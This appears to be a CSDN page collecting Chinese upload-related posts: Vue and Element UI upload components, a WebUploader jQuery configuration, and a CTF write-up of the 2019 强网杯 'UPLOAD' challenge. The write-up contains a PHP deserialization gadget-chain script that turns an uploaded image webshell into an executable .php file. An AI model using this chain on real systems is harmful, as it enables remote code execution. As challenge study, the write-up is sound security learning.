upload_uploadfile - CSDN
精华内容
参与话题
  • upload上传图片

    千次阅读 2018-05-11 16:34:07
    子组件 (ImageUpload.vue): <template> <div> <div class="flex-img"> &am

    需求分析:
    1.添加商品页面可以添加图片
    2.编辑商品页面可以编辑图片(原来的图片列表上)

    子组件 (ImageUpload.vue):

    <template>
        <div>
            <div class="flex-img">
                <div class="flex-img__item" v-for="(image,index) of imageList" :key="index">
                    <div>
                        <img class="flex-img__image" :src="image">
                    </div>
                    <i class="el-icon-error right-up" @click.stop="handleRemove(index)"></i>
                </div>
    
                <el-upload
                        :action="uploadUrl"
                        :show-file-list="false"
                        accept="image/jpeg,image/jpg,image/png"
                        list-type="picture-card"
                        :limit="imgNumber"
                        :on-success="handleSuccess"
                        :before-upload="beforeUpload">
                    <i class="el-icon-plus"></i>
                </el-upload>
            </div>
    
            <div slot="tip" class="el-upload__tip">只能上传jpg/png文件,且不超过1M</div>
        </div>
    </template>
    
    <script>
        export default {
            props: {
                imageList: Array,
                clearList: Number,
                imgNumber: Number
            },
            data() {
                return {
                    uploadUrl: 'http://xxxx.xxx.xx/api/upload',
                    fileList: this.imageList ? this.imageList : [],
                };
            },
            watch: {
                imageList(value) {
                        this.fileList = value;
                },
                clearList() {
                    this.fileList = [];
                },
                fileList(value) {
                    this.$emit('update:imageList', value);
                }
            },
            methods: {
                handleRemove(index) {
                    this.fileList.splice(index, 1);
                },
                handleSuccess(response) {
                    this.fileList.push(response.url);
                },
                beforeUpload(file){
                    const imageSize = file.size / 1024 / 1024 < 1;
                    if(!imageSize){
                        this.$message.error('上传封面大小不能超过 1MB!');
                    }
                    return imageSize;
                }
            }
        };
    </script>
    
    <style scoped>
        .flex-img
        {
            display: flex;
        }
        .flex-img__item
        {
            position: relative;
    
            box-sizing: border-box;
            width: 148px;
            height: 148px;
            margin: 0 8px 8px 0;
    
            border: 1px solid #c0ccda;
            border-radius: 6px;
            background-color: #fff;
        }
        .right-up
        {
            position: absolute;
            z-index: 1024;
            top: -5px;
            right: -5px;
        }
        .flex-img__image
        {
            width: 146px;
            height: 146px;
    
            border-radius: 6px;
        }
    
    </style>

    父组件:

    <template>
      <div>
         <image-upload :imageList.sync="imageShows" :clearList="clearList"></image-upload>
      </div>
    </template>
    <script>
    import ImageUpload from '../../components/ImageUpload.vue';
    export default{
      components:{
         ImageUpload
      },
      data(){
         clearList:null,//清除图片列表
         imageShows:[]//图片列表
      },
      methods:{
        resetForm(){
          this.clearList = Math.random();//给一个随机数就能清除
        }
      }
    }
    </script>

    报错信息:app.js:1608 [Vue warn]: Error in callback for watcher “fileList”: “TypeError: Cannot create property ‘uid’ on string ‘https://xxx.jpeg‘”
    app.js:2724 TypeError: Cannot create property ‘uid’ on string ‘https://xxx.jpeg
    解决办法:子组件修改方法handleSuccess
    handleSuccess(response) {
    this.fileList.push({response.url});//多了 { },因为它要的是数组,那就传数组进去
    },

    展开全文
  • 组件-Element—Upload(上传)

    千次阅读 2019-07-03 15:12:55
    组件-Element—Upload 组件—上传 点击上传 <el-upload class="upload-demo" action="https://jsonplaceholder.typicode.com/posts/" :on-preview="handlePreview" :on-remove="handleRemove" ...

    组件-Element—Upload(上传)

    组件—上传

    1. 点击上传
      在这里插入图片描述

      <el-upload
        class="upload-demo"
        action="https://jsonplaceholder.typicode.com/posts/"
        :on-preview="handlePreview"
        :on-remove="handleRemove"
        :before-remove="beforeRemove"
        multiple
        :limit="3"
        :on-exceed="handleExceed"
        :file-list="fileList">
        <el-button size="small" type="primary">点击上传</el-button>
        <div slot="tip" class="el-upload__tip">只能上传jpg/png文件,且不超过500kb</div>
      </el-upload>
      <script>
        export default {
          data() {
            return {
              fileList: [{name: 'food.jpeg', url: 'https://fuss10.elemecdn.com/3/63/4e7f3a15429bfda99bce42a18cdd1jpeg.jpeg?imageMogr2/thumbnail/360x360/format/webp/quality/100'}, {name: 'food2.jpeg', url: 'https://fuss10.elemecdn.com/3/63/4e7f3a15429bfda99bce42a18cdd1jpeg.jpeg?imageMogr2/thumbnail/360x360/format/webp/quality/100'}]
            };
          },
          methods: {
            handleRemove(file, fileList) {
              console.log(file, fileList);
            },
            handlePreview(file) {
              console.log(file);
            },
            handleExceed(files, fileList) {
              this.$message.warning(`当前限制选择 3 个文件,本次选择了 ${files.length} 个文件,共选择了 ${files.length + fileList.length} 个文件`);
            },
            beforeRemove(file, fileList) {
              return this.$confirm(`确定移除 ${ file.name }?`);
            }
          }
        }
      </script>
      
    2. 用户头像上传
      在这里插入图片描述

      <el-upload
        class="avatar-uploader"
        action="https://jsonplaceholder.typicode.com/posts/"
        :show-file-list="false"
        :on-success="handleAvatarSuccess"
        :before-upload="beforeAvatarUpload">
        ![在这里插入图片描述]()
        <i v-else class="el-icon-plus avatar-uploader-icon"></i>
      </el-upload>
      
      <style>
        .avatar-uploader .el-upload {
          border: 1px dashed #d9d9d9;
          border-radius: 6px;
          cursor: pointer;
          position: relative;
          overflow: hidden;
        }
        .avatar-uploader .el-upload:hover {
          border-color: #409EFF;
        }
        .avatar-uploader-icon {
          font-size: 28px;
          color: #8c939d;
          width: 178px;
          height: 178px;
          line-height: 178px;
          text-align: center;
        }
        .avatar {
          width: 178px;
          height: 178px;
          display: block;
        }
      </style>
      
      <script>
        export default {
          data() {
            return {
              imageUrl: ''
            };
          },
          methods: {
            handleAvatarSuccess(res, file) {
              this.imageUrl = URL.createObjectURL(file.raw);
            },
            beforeAvatarUpload(file) {
              const isJPG = file.type === 'image/jpeg';
              const isLt2M = file.size / 1024 / 1024 < 2;
      
              if (!isJPG) {
                this.$message.error('上传头像图片只能是 JPG 格式!');
              }
              if (!isLt2M) {
                this.$message.error('上传头像图片大小不能超过 2MB!');
              }
              return isJPG && isLt2M;
            }
          }
        }
      </script>
      
    3. 照片墙
      在这里插入图片描述

      <el-upload
        action="https://jsonplaceholder.typicode.com/posts/"
        list-type="picture-card"
        :on-preview="handlePictureCardPreview"
        :on-remove="handleRemove">
        <i class="el-icon-plus"></i>
      </el-upload>
      <el-dialog :visible.sync="dialogVisible">
        ![在这里插入图片描述]()
      </el-dialog>
      <script>
        export default {
          data() {
            return {
              dialogImageUrl: '',
              dialogVisible: false
            };
          },
          methods: {
            handleRemove(file, fileList) {
              console.log(file, fileList);
            },
            handlePictureCardPreview(file) {
              this.dialogImageUrl = file.url;
              this.dialogVisible = true;
            }
          }
        }
      </script>
      
    4. 文件缩略图
      在这里插入图片描述

      <el-upload
        action="#"
        list-type="picture-card"
        :auto-upload="false">
          <i slot="default" class="el-icon-plus"></i>
          <div slot="file" slot-scope="{file}">
            <img
              class="el-upload-list__item-thumbnail"
              :src="file.url" alt=""
            >
            <span class="el-upload-list__item-actions">
              <span
                class="el-upload-list__item-preview"
                @click="handlePictureCardPreview(file)"
              >
                <i class="el-icon-zoom-in"></i>
              </span>
              <span
                v-if="!disabled"
                class="el-upload-list__item-delete"
                @click="handleDownload(file)"
              >
                <i class="el-icon-download"></i>
              </span>
              <span
                v-if="!disabled"
                class="el-upload-list__item-delete"
                @click="handleRemove(file)"
              >
                <i class="el-icon-delete"></i>
              </span>
            </span>
          </div>
      </el-upload>
      <el-dialog :visible.sync="dialogVisible">
        ![在这里插入图片描述]()
      </el-dialog>
      <script>
        export default {
          data() {
            return {
              dialogImageUrl: '',
              dialogVisible: false,
              disabled: false
            };
          },
          methods: {
            handleRemove(file) {
              console.log(file);
            },
            handlePictureCardPreview(file) {
              this.dialogImageUrl = file.url;
              this.dialogVisible = true;
            },
            handleDownload(file) {
              console.log(file);
            }
          }
        }
      </script>
      
    5. 图片列表缩略图
      在这里插入图片描述

      <el-upload
        class="upload-demo"
        action="https://jsonplaceholder.typicode.com/posts/"
        :on-preview="handlePreview"
        :on-remove="handleRemove"
        :file-list="fileList"
        list-type="picture">
        <el-button size="small" type="primary">点击上传</el-button>
        <div slot="tip" class="el-upload__tip">只能上传jpg/png文件,且不超过500kb</div>
      </el-upload>
      <script>
        export default {
          data() {
            return {
              fileList: [{name: 'food.jpeg', url: 'https://fuss10.elemecdn.com/3/63/4e7f3a15429bfda99bce42a18cdd1jpeg.jpeg?imageMogr2/thumbnail/360x360/format/webp/quality/100'}, {name: 'food2.jpeg', url: 'https://fuss10.elemecdn.com/3/63/4e7f3a15429bfda99bce42a18cdd1jpeg.jpeg?imageMogr2/thumbnail/360x360/format/webp/quality/100'}]
            };
          },
          methods: {
            handleRemove(file, fileList) {
              console.log(file, fileList);
            },
            handlePreview(file) {
              console.log(file);
            }
          }
        }
      </script>
      
    6. 上传文件列表控制
      在这里插入图片描述

      <el-upload
        class="upload-demo"
        action="https://jsonplaceholder.typicode.com/posts/"
        :on-change="handleChange"
        :file-list="fileList">
        <el-button size="small" type="primary">点击上传</el-button>
        <div slot="tip" class="el-upload__tip">只能上传jpg/png文件,且不超过500kb</div>
      </el-upload>
      <script>
        export default {
          data() {
            return {
              fileList: [{
                name: 'food.jpeg',
                url: 'https://fuss10.elemecdn.com/3/63/4e7f3a15429bfda99bce42a18cdd1jpeg.jpeg?imageMogr2/thumbnail/360x360/format/webp/quality/100'
              }, {
                name: 'food2.jpeg',
                url: 'https://fuss10.elemecdn.com/3/63/4e7f3a15429bfda99bce42a18cdd1jpeg.jpeg?imageMogr2/thumbnail/360x360/format/webp/quality/100'
              }]
            };
          },
          methods: {
            handleChange(file, fileList) {
              this.fileList = fileList.slice(-3);
            }
          }
        }
      </script>
      
    7. 拖拽上传
      在这里插入图片描述

      <el-upload
        class="upload-demo"
        drag
        action="https://jsonplaceholder.typicode.com/posts/"
        multiple>
        <i class="el-icon-upload"></i>
        <div class="el-upload__text">将文件拖到此处,或<em>点击上传</em></div>
        <div class="el-upload__tip" slot="tip">只能上传jpg/png文件,且不超过500kb</div>
      </el-upload>
      
    8. 手动上传
      在这里插入图片描述

      <el-upload
        class="upload-demo"
        ref="upload"
        action="https://jsonplaceholder.typicode.com/posts/"
        :on-preview="handlePreview"
        :on-remove="handleRemove"
        :file-list="fileList"
        :auto-upload="false">
        <el-button slot="trigger" size="small" type="primary">选取文件</el-button>
        <el-button style="margin-left: 10px;" size="small" type="success" @click="submitUpload">上传到服务器</el-button>
        <div slot="tip" class="el-upload__tip">只能上传jpg/png文件,且不超过500kb</div>
      </el-upload>
      <script>
        export default {
          data() {
            return {
              fileList: [{name: 'food.jpeg', url: 'https://fuss10.elemecdn.com/3/63/4e7f3a15429bfda99bce42a18cdd1jpeg.jpeg?imageMogr2/thumbnail/360x360/format/webp/quality/100'}, {name: 'food2.jpeg', url: 'https://fuss10.elemecdn.com/3/63/4e7f3a15429bfda99bce42a18cdd1jpeg.jpeg?imageMogr2/thumbnail/360x360/format/webp/quality/100'}]
            };
          },
          methods: {
            submitUpload() {
              this.$refs.upload.submit();
            },
            handleRemove(file, fileList) {
              console.log(file, fileList);
            },
            handlePreview(file) {
              console.log(file);
            }
          }
        }
      </script>
      
    9. Attribute
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述

    10. Slot
      在这里插入图片描述

    11. Methods
      在这里插入图片描述

    展开全文
  • webupload 上传插件 完美版 - 拿走直接用

    万次阅读 热门讨论 2016-12-12 10:27:21
    然后,那就烂大街的 webupload 呗,虽说我是 百度黑,不过百度确实有那么几个良心插件还是不错的 。现在入正题,由于 webupload 功能强大,配置繁多,不过相对还是很好应用,不过遇到的问题也不少,供大家参考 ,...

    由于最近,我们产品web端口 ,涉及批量图片上传(你懂得, 商品嘛,都玩吐了),然后自己写了一个半成品,后来

    各种体验问题,然后一想那么不是傻么? 这么多上传插件。


    然后,那就烂大街的  webupload 呗,虽说我是 百度黑,不过百度确实有那么几个良心插件还是不错的 。


    现在入正题,由于 webupload   功能强大,配置繁多,不过相对还是很好应用,不过遇到的问题也不少,供大家参考 

    ,最好只支持IE8以上,不然自己找虐,别找我额!敲打


    直接上效果 上代码吧,里面也都有注释,你们自己理解下载就行了,只需要配合 api 和我的代码 改相应的 css 和上传地址 就可以无缝对接


    HTML: 


    1. <div id="uploader-demo" class="controls">
    2. <div class="uploader-list fileList"> </div>
    3. <div class="filePicker">添加商品图册
    4. <br>最多 5 张
    5. </div>
    6. </div>



    --------------------------------------------------------------------------------------------------------------------------------------------------------------------


    css:


    1. .webuploader-container {
    2. position: relative;
    3. float: left;
    4. }
    5. .webuploader-element-invisible {
    6. position: absolute !important;
    7. clip: rect(1px 1px 1px 1px);
    8. /* IE6, IE7 */
    9. clip: rect(1px, 1px, 1px, 1px);
    10. }
    11. .webuploader-pick {
    12. display: inline-block;
    13. cursor: pointer;
    14. background: #fafafa;
    15. padding: 10px 15px;
    16. color: #666;
    17. text-align: center;
    18. border-radius: 3px;
    19. overflow: hidden;
    20. float: left;
    21. width: 128px;
    22. height: 88px;
    23. position: relative;
    24. border: 1px solid #d6dee3;
    25. overflow: hidden;
    26. padding-top: 60px;
    27. }
    28. .webuploader-pick-hover {
    29. background: #00A3C6;
    30. color: #fff;
    31. }
    32. .webuploader-pick-disable {
    33. opacity: 0.6;
    34. pointer-events: none;
    35. }
    36. /*demo样式*/
    37. #picker {
    38. display: inline-block;
    39. line-height: 1.428571429;
    40. vertical-align: middle;
    41. margin: 0 12px 0 0;
    42. }
    43. #picker .webuploader-pick {
    44. padding: 6px 12px;
    45. display: block;
    46. }
    47. #uploader-demo .thumbnail {
    48. width: 150px;
    49. height: 150px;
    50. overflow: hidden;
    51. }
    52. #uploader-demo .thumbnail img {
    53. width: 100%;
    54. }
    55. .uploader-list {
    56. /*width: 100%;*/
    57. overflow: hidden;
    58. float: left;
    59. }
    60. .file-item {
    61. float: left;
    62. position: relative;
    63. margin: 0 20px 20px 0;
    64. padding: 5px;
    65. }
    66. .file-item .error {
    67. position: absolute;
    68. top: 4px;
    69. left: 4px;
    70. right: 4px;
    71. background: red;
    72. color: white;
    73. text-align: center;
    74. height: 20px;
    75. font-size: 14px;
    76. line-height: 23px;
    77. }
    78. .file-item .info {
    79. position: absolute;
    80. left: 4px;
    81. bottom: 4px;
    82. right: 4px;
    83. height: 20px;
    84. line-height: 20px;
    85. text-indent: 5px;
    86. background: rgba(0, 0, 0, 0.6);
    87. color: white;
    88. overflow: hidden;
    89. white-space: nowrap;
    90. text-overflow: ellipsis;
    91. font-size: 12px;
    92. z-index: 10;
    93. }
    94. /* 上次成功*/
    95. .upload-state-done:after {
    96. content: "\f00c";
    97. font-family: FontAwesome;
    98. font-style: normal;
    99. font-weight: normal;
    100. line-height: 1;
    101. -webkit-font-smoothing: antialiased;
    102. -moz-osx-font-smoothing: grayscale;
    103. font-size: 32px;
    104. position: absolute;
    105. bottom: 0;
    106. right: 4px;
    107. color: #4cae4c;
    108. z-index: 99;
    109. }
    110. /*进度条*/
    111. .file-item .progress {
    112. position: absolute;
    113. right: 4px;
    114. bottom: 4px;
    115. height: 3px;
    116. left: 4px;
    117. height: 4px;
    118. overflow: hidden;
    119. z-index: 15;
    120. margin: 0;
    121. padding: 0;
    122. border-radius: 0;
    123. background: transparent;
    124. }
    125. /*进度条*/
    126. .file-item .progress span {
    127. display: block;
    128. overflow: hidden;
    129. width: 0;
    130. height: 100%;
    131. background: #d14 url(images/progress.png) repeat-x;
    132. -webit-transition: width 200ms linear;
    133. -moz-transition: width 200ms linear;
    134. -o-transition: width 200ms linear;
    135. -ms-transition: width 200ms linear;
    136. transition: width 200ms linear;
    137. -webkit-animation: progressmove 2s linear infinite;
    138. -moz-animation: progressmove 2s linear infinite;
    139. -o-animation: progressmove 2s linear infinite;
    140. -ms-animation: progressmove 2s linear infinite;
    141. animation: progressmove 2s linear infinite;
    142. -webkit-transform: translateZ(0);
    143. }
    144. /*取消 删除*/
    145. .file-item div.file-panel {
    146. position: absolute;
    147. height: 0;
    148. filter: progid: DXImageTransform.Microsoft.gradient(GradientType=0, startColorstr='#80000000', endColorstr='#80000000')\0;
    149. background: rgba( 0, 0, 0, 0.6);
    150. width: 100%;
    151. bottom: 0;
    152. left: 0;
    153. overflow: hidden;
    154. z-index: 300;
    155. color: #fff;
    156. line-height: 30px;
    157. text-align: right;
    158. }
    159. .file-item div.file-panel span {
    160. width: 24px;
    161. height: 24px;
    162. display: inline;
    163. float: right;
    164. text-indent: -9999px;
    165. overflow: hidden;
    166. background: url(images/icons.png) no-repeat;
    167. margin: 5px 1px 1px;
    168. cursor: pointer;
    169. }
    170. .file-item div.file-panel span.rotateLeft {
    171. background-position: 0 -24px;
    172. }
    173. .file-item div.file-panel span.rotateLeft:hover {
    174. background-position: 0 0;
    175. }
    176. .file-item div.file-panel span.rotateRight {
    177. background-position: -24px -24px;
    178. }
    179. .file-item div.file-panel span.rotateRight:hover {
    180. background-position: -24px 0;
    181. }
    182. .file-item div.file-panel span.cancel {
    183. background-position: -48px -24px;
    184. }
    185. .file-item div.file-panel span.cancel:hover {
    186. background-position: -48px 0;
    187. }
    188. @-webkit-keyframes progressmove {
    189. 0% {
    190. background-position: 0 0;
    191. }
    192. 100% {
    193. background-position: 17px 0;
    194. }
    195. }
    196. @-moz-keyframes progressmove {
    197. 0% {
    198. background-position: 0 0;
    199. }
    200. 100% {
    201. background-position: 17px 0;
    202. }
    203. }
    204. @keyframes progressmove {
    205. 0% {
    206. background-position: 0 0;
    207. }
    208. 100% {
    209. background-position: 17px 0;
    210. }
    211. }
    212. a.travis {
    213. position: relative;
    214. top: -4px;
    215. right: 15px;
    216. }
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------


    JS(重要部分,自己看 百度api 和注释)

    1. // 图片webupload 上传
    2. $(function() {
    3. var $ = jQuery,
    4. $list = $('.fileList'),
    5. $filePicker = $('.filePicker'), // 上传按钮
    6. $upimgmax = 5, // 支持上传最大个数
    7. // 优化retina, 在retina下这个值是2
    8. ratio = window.devicePixelRatio || 1,
    9. // 缩略图大小
    10. thumbnailWidth = 100 * ratio,
    11. thumbnailHeight = 100 * ratio,
    12. // 初始化Web Uploader
    13. uploader = WebUploader.create({
    14. // 自动上传。
    15. auto: true,
    16. // swf文件路径
    17. swf: 'webuploader/Uploader.swf',
    18. // 文件接收服务端。
    19. server: 你的后台图片上传接受地址 也就是uploadurl, // 这里是图片上传地址
    20. // 选择文件的按钮。可选。
    21. // 内部根据当前运行是创建,可能是input元素,也可能是flash
    22. pick: {
    23. id: $filePicker,
    24. // multiple: false
    25. },
    26. duplicate: true,
    27. fileSingleSizeLimit: 5242880, // 单个文件大小
    28. fileNumLimit: $upimgmax, // 限制上传个数
    29. accept: {
    30. title: 'Images',
    31. extensions: 'jpg,jpeg,png',
    32. mimeTypes: 'image/jpg,image/jpeg,image/png' //修改这行
    33. },
    34. thumb: {
    35. width: 110,
    36. height: 110,
    37. // 图片质量,只有type为`image/jpeg`的时候才有效。
    38. quality: 70,
    39. // 是否允许放大,如果想要生成小图的时候不失真,此选项应该设置为false.
    40. allowMagnify: true,
    41. // 是否允许裁剪。
    42. crop: true,
    43. // 为空的话则保留原有图片格式。
    44. // 否则强制转换成指定的类型。
    45. type: 'image/jpeg'
    46. }
    47. });
    48. // 当有文件添加进来的时候
    49. uploader.on('fileQueued', function(file) {
    50. var $li = $(
    51. '<div id="' + file.id + '" class="file-item thumbnail">' +
    52. '<img>' +
    53. // '<div class="info">' + file.name + '</div>' +
    54. '<div class = "file-panel" style = "height: 30px;" > 删除 ' +
    55. '<span class = "cancel delimgbtns" title="删除"></span></div>' +
    56. '</div>'
    57. ),
    58. $img = $li.find('img');
    59. $list.append($li);
    60. removefiles(file); // 文件删除
    61. // 创建缩略图
    62. uploader.makeThumb(file, function(error, src) {
    63. if (error) {
    64. $img.replaceWith('<span>不能预览</span>');
    65. return;
    66. }
    67. $img.attr('src', src);
    68. }, thumbnailWidth, thumbnailHeight);
    69. var uploadfilesNum = uploader.getStats().queueNum; // 共选中几个图片
    70. // 最多支持 5张
    71. if ($('.file-item').length >= $upimgmax) {
    72. $filePicker.hide();
    73. if ($('.file-item').length >= ($upimgmax + 1)) {
    74. // 中断 取消 大于 5张图片的对象
    75. uploader.removeFile(file, true);
    76. $('.file-item').last().remove();
    77. }
    78. } else {
    79. $filePicker.show();
    80. }
    81. });
    82. // 文件上传过程中创建进度条实时显示。
    83. uploader.on('uploadProgress', function(file, percentage) {
    84. var $li = $('#' + file.id),
    85. $percent = $li.find('.progress span');
    86. // 避免重复创建
    87. if (!$percent.length) {
    88. $percent = $('<p class="progress"><span></span></p>').appendTo($li).find('span');
    89. }
    90. $percent.css('width', percentage * 100 + '%');
    91. });
    92. // 文件上传成功,给item添加成功class, 用样式标记上传成功。
    93. uploader.on('uploadSuccess', function(file, response) {
    94. var $li = $('#' + file.id),
    95. $img = $li.find('img'),
    96. $fileUrl = response.data[0].url, // 图片上传地址
    97. $filename = file.name, // 上传文件名称
    98. $filesize = (file.size / 1024).toFixed(2); // 上传文件尺寸大小 保留2位
    99. $li.addClass('upload-state-done');
    100. // console.log(file);
    101. console.log(response);
    102. console.log('图片地址:' + $fileUrl);
    103. $img.attr('src', $fileUrl);
    104. removefiles(file); // 删除文件
    105. removehttpfiles();
    106. // 传值赋值
    107. // 商品详细图片 位置
    108. // 这里自己赋值 传值
    109. });
    110. // 文件上传失败,显示上传出错。
    111. uploader.on('uploadError', function(file) {
    112. var $li = $('#' + file.id),
    113. $error = $li.find('div.error');
    114. // 避免重复创建
    115. if (!$error.length) {
    116. $error = $('<div class="error"></div>').appendTo($li);
    117. }
    118. $error.text('上传失败');
    119. });
    120. // 完成上传完了,成功或者失败,先删除进度条。
    121. uploader.on('uploadComplete', function(file) {
    122. $('#' + file.id).find('.progress').remove();
    123. console.log(file);
    124. // 获取文件统计信息。返回一个包含一下信息的对象。
    125. /*successNum 上传成功的文件数
    126. progressNum 上传中的文件数
    127. cancelNum 被删除的文件数
    128. invalidNum 无效的文件数
    129. uploadFailNum 上传失败的文件数
    130. queueNum 还在队列中的文件数
    131. interruptNum 被暂停的文件数
    132. */
    133. // console.log(uploader.getStats().uploadFailNum);
    134. });
    135. uploader.on('error', function(handler) {
    136. if (handler == "Q_EXCEED_NUM_LIMIT") {
    137. layer.msg("最多只能上传 " + $upimgmax + "张图片");
    138. }
    139. });
    140. // 删除按钮事件
    141. function removefiles(file) {
    142. // 删除本条数据
    143. // $('.delimgbtns').each(function(index, el) {
    144. $('.delimgbtns').click(function() {
    145. // 中断 取消 传图
    146. uploader.removeFile(file, true);
    147. var spthisdiv = $(this).parent();
    148. spthisdiv.parent('.file-item').remove();
    149. $filePicker.show(); // 上传按钮显示
    150. });
    151. // });
    152. }
    153. // 删除服务器文件
    154. function removehttpfiles() {
    155. // 删除本条数据
    156. // $('.delimgbtns').each(function(index, el) {
    157. $('.delimgbtns').click(function() {
    158. // event.preventDefault();
    159. var spthisdiv = $(this).parent();
    160. // 如果上传成功才执行
    161. var thisimgsrc = spthisdiv.siblings('img').attr('src');
    162. var geturl = "attach/deleteFlowFile";
    163. $.axpost(
    164. geturl, {
    165. url: thisimgsrc,
    166. },
    167. //请求成功时处理
    168. function(data) {
    169. layer.msg('删除成功');
    170. });
    171. });
    172. // });
    173. }
    174. });
     
    行了, 代码我都贴了再不给我点赞? 请不要做伸手党 ,如果有什么不明白 请 (看我安利我的 公众号)  不明白 或者直接加我  千人前端QQ群 : 147250970


    扫描长按二维码,关注我的公众号



    展开全文
  • 反序列化(强网杯2019—UPLOAD

    千次阅读 2019-06-12 11:14:33
    反序列化(强网杯2019—UPLOAD) 前言 这里主要是复现一下强网杯2019web的第一题,UPLOAD。这是一道反序列化的题,反正我觉得挺难的,当时已经锁定了反序列化的方向也没能完成… 感谢大佬提供的复现环境:...

    反序列化(强网杯2019—UPLOAD)

    前言

    这里主要是复现一下强网杯2019web的第一题,UPLOAD。这是一道反序列化的题,反正我觉得挺难的,当时已经锁定了反序列化的方向也没能完成…

    感谢大佬提供的复现环境:https://github.com/CTFTraining/qwb_2019_upload

    UPLOAD

    进入靶场后首先是一个登陆注册页面
    1
    这里很自然的要想到有没有注入,简单的万能密码试了下不行,那就先接着往下走

    这里我们先注册一个账号,登陆成功后我们看到文件上传的地方
    2
    要求上传img,题目名也叫upload,这里我们肯定是要来尝试文件上传漏洞的

    我们直接上传一句话木马,发现返回禁止类型
    3
    这里用截断,burp改类型都不行

    上传一个加了一句话马的jpg文件,发现可以上传成功
    4
    这里那个假装这里是一个聊天框也引起很多遐想啊,考虑会不会有xss
    5
    这里我们再来看上传成功的图片,可以看到文件名是变成了md5值,后缀变成了.png,然后上传成功之后就不能再继续上传,想再上传就要重新注册账号了。

    因为我们上传了一个带一句话马的图片,这时候我们肯定还是希望有文件包含漏洞,这样就直接get shell了,但强网杯毕竟是强网杯,当然没有文件包含漏洞利用了…

    这时候再想,看到标题是Discuz,直接找Discuz。但事实证明这并不是一个Discuz的框架,不要被它写的所迷惑了

    后面发现这道题存在源码泄漏,怎么发现源码泄漏也是很神奇的,因为另一道web题(和这道题一起放出的另一道题)是源码泄漏提示下载www.tar.gz 文件,在本题发现也可以下载到。

    这样我们就获得了源码发现是ThinkPHP的框架

    因为ThinkPHP今年是爆过漏洞的,但后面尝试漏洞条件不存在(后面有道福利题是利用ThinkPHP漏洞)

    这时候我们要做的就是代码审计了

    后面分析会发现最重要就只有4个文件,但当时思维还是陷在了文件上传中,当时最先考虑的是存不存在条件竞争(我也是第一次听说条件竞争),但后面尝试是没有条件竞争的,虽然上传过程中有临时文件,但临时文件是已.tmp结尾依旧不行

    最后是代码审计发现了可疑的反序列化,我看别人的writeup说存在 .idea 目录用PHPStorm打开可以看到两个断点,其中一个就是断在了反序列化那里,另一个定义在了析构函数函数那里(大佬也说析构函数很重要,因为最后对象被回收一定会调用)

    当时将目标锁定在了反序列化后依旧没有做出来,因为不会构造…

    大佬后面讲的时候,说这种框架反序例化,可以直接去找有没有爆出的反序列化链,然后Thinkphp是一个国产框架,信息并不是很多,所以最后还是要自己找

    首先我们看反序列化的地方,可以看到这里反序列化的地方并没有对传入值有检验,所以是可能存在反序列化漏洞的
    6
    因为反序列漏洞是和魔法函数挂钩的,我们再来找存在的魔法函数

    一个是有断点的析构函数
    7
    还存在_get和_call两个函数
    8
    这时候我们需要结合程序的整体流程来进行一下分析

    index.php是一个索引界面,我们请求过去后,反序例化我们传过去的对象来检查是否登陆

    在Register.php的析构函数中,主要想判断是否注册成功,没成功调用index方法

    Profile.php中的_call和_get方法分别是在调用不可调用方法和不可调用成员变量时怎么做

    这时候我们通过call去调用upload_img方法,通过控制传参来调用copy将png图片拷贝为php文件

    所以我们这里利用析构函数来构造,将cheeker构造为profile对象,调用起index的时候,调用了不存在的方法所以触发,

    这时候我们来payload脚本(这里是直接参考大佬写的,php确实还是不怎么会,改下参数)

    <?php
    namespace app\web\controller;
    
    class Profile
    {
        public $checker;
        public $filename_tmp;
        public $filename;
        public $upload_menu;
        public $ext;
        public $img;
        public $except;
    
    
        public function __get($name)
        {
            return $this->except[$name];
        }
    
        public function __call($name, $arguments)
        {
            if($this->{$name}){
                $this->{$this->{$name}}($arguments);
            }
        }
    
    }
    
    class Register
    {
        public $checker;
        public $registed;
    
        public function __destruct()
        {
            if(!$this->registed){
                $this->checker->index();
            }
        }
    
    }
    
    $profile = new Profile();
    $profile->except = ['index' => 'img'];
    $profile->img = "upload_img";
    $profile->ext = "png";
    $profile->filename_tmp = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.png";
    $profile->filename = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.php";
    
    $register = new Register();
    $register->registed = false;
    $register->checker = $profile;
    
    echo urlencode(base64_encode(serialize($register)));
    

    生成的cookie用去替换已有的cookie,然后刷新,再去问问原来图片的文件夹
    9
    可以看到原来的png已经变为了php文件

    这时候蚁剑去链接,发现成功链接上
    10
    最后通过文件管理找到cookie
    11

    总结

    复现了一遍之后感觉还是有点懵懂,对反序列化的理解感觉还是不到位,最主要代码功底也不行

    反序列化不仅php有,java,python都有,大佬也说到python的反序列化漏洞是非常严重的,后面在结合python和反序列化的基础知识和别的题目再来加深理解吧。

    参考

    1. 2019 第三届强网杯 Web 部分 WriteUp + 复现环境
    2. 代码审计| CTF 中的反序列化问题
    展开全文
  • upload()方法

    千次阅读 2017-07-29 12:11:47
    private void upLoad() { // Bitmap bitmap; // Bitmap bmpCompressed; // for (int i = 0; i () - 1; i++) { // bitmap = BitmapFactory.decodeFile(list.get(i)); //
  • upload.inc

    热门讨论 2020-07-27 23:33:28
    upload.inc 该类能够从文件的内部判断文件的类型,避免了通过文件名判断文件类型的bug
  • Upload

    2019-03-18 21:27:28
    6 唯一需要注意的是1.2.3.4是有先后顺序的。考虑把(ai, bi)看做一条边,于是一个n个点的连通块最多只能连n条边,如果顺序是1.3.2.4那么是显然的并查集。但是1.2.3.4的话我们就需要确认每个点到底有没有被用。...
  • Vue.js iView Upload上传和展示

    万次阅读 2018-02-10 11:45:25
    公司项目业务业务需求需要一个能够上传图片附件的功能,发现iView官方有个组件Upload,展示使用方法以及后续的过程。&lt;div class="pic_upload"&gt; &lt;Upload ref="upload" ...
  • jquery File upload使用总结

    万次阅读 热门讨论 2015-01-27 00:02:11
    1. jquery file upload 下载 jquery file upload Demo 地址:https://blueimp.github.io/jQuery-File-Upload/ jquery file upload 下载 地址:https://github.com/blueimp/jQuery-File-Upload/tags jquery ...
  • element-ui upload上传技巧

    万次阅读 热门讨论 2018-09-28 10:26:49
    本文章应用场景是: 前端使用的是vue.js和element-ui。 上传是包含在一个表单...而且element-ui的upload组件上传的路径跟表单保存的路径是不一样的。具体看代码。  &lt;!-- 新增弹窗--&gt; &lt...
  • npm install vue-image-crop-upload npm install –save-dev babel-polyfill <template> <div id="app"> <button class="btn" @click="toggleShow">设置头像</button> <my-upload @...
